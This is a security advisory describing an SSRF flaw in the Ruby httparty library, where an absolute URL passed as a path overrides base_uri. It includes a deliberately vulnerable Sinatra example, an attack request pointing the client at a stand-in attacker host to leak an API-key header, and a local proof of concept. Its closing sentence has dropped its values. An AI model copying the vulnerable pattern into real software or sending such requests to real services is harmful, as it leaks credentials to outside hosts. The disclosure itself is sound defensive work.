httparty Has Potential SSRF Vulnerability That Leads to API Key Leakage

Summary

There may be an SSRF vulnerability in httparty. This issue can pose a risk of leaking API keys, and it can also allow third parties to issue requests to internal servers.

Details

When httparty receives a path argument that is an absolute URL, it ignores the base_uri field. As a result, if a malicious user can control the path value, the application may unintentionally communicate with a host that the programmer did not anticipate.

Consider the following example of a web application:

require 'sinatra'
require 'httparty'

class RepositoryClient
  include HTTParty
  base_uri 'http://exmaple.test/api/v1/repositories/'
  headers 'X-API-KEY' => '1234567890'
end

post '/issue' do
  request_body = JSON.parse(request.body.read)
  RepositoryClient.get(request_body['repository_id']).body
  # do something
  json message: 'OK'
end

Now, suppose an attacker sends a request like this:

POST /issue HTTP/1.1
Host: localhost:10000
Content-Type: application/json

{
    "repository_id": "http://attacker.test",
    "title": "test"
}

In this case, httparty sends the X-API-KEY not to http://example.test but instead to http://attacker.test.

A similar problem was reported and fixed in the HTTP client library axios in the past:
https://github.com/axios/axios/issues/6463

Also, Python's urljoin function has documented a warning about similar behavior:
https://docs.python.org/3.13/library/urllib.parse.html#urllib.parse.urljoin

PoC

Follow these steps to reproduce the issue:

1. Set up two simple HTTP servers.

   mkdir /tmp/server1 /tmp/server2
   echo "this is server1" > /tmp/server1/index.html 
   echo "this is server2" > /tmp/server2/index.html
   python -m http.server -d /tmp/server1 10001 &
   python -m http.server -d /tmp/server2 10002 &
   

2. Create a script (for example, main.rb):

   require 'httparty'
   
   class Client
     include HTTParty
     base_uri 'http://localhost:10001'
   end
   
   data = Client.get('http://localhost:10002').body
   puts data
   

3. Run the script:

   $ ruby main.rb
   this is server2
   

Although is set to , httparty sends the request to .